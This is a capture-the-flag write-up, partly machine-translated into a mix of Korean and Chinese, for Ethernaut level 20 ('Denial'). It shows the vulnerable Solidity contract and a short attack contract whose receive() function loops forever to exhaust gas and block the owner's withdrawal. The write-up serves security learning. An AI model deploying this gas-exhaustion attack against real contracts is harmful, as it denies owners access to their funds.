Ethernaut系列-레벨 20(거부)

5592 단어

레벨 20(거부):




// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Denial {

    using SafeMath for uint256;
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address payable public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call.value(amountToSend)("");
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;
    }
}


通关要求



阻止철회成功转账

要点



调用call方法失败(되돌리기)会返回거짓

解题思路



호출(바이트 메모리)은 (부울, 바이트 메모리)를 반환합니다.
如果调用的方法revert是不会中断执行的,方法只会返回false
不过有个例外就是gas耗尽,会中断执行
所以只要에서 파트너의 수신方法里耗掉gas即可中断
계약/20DenialRun.sol

contract DenialRun {
  uint noting;

  receive() external payable {
    while(true){
      noting = 1;
    }
  }

}

좋은 웹페이지 즐겨찾기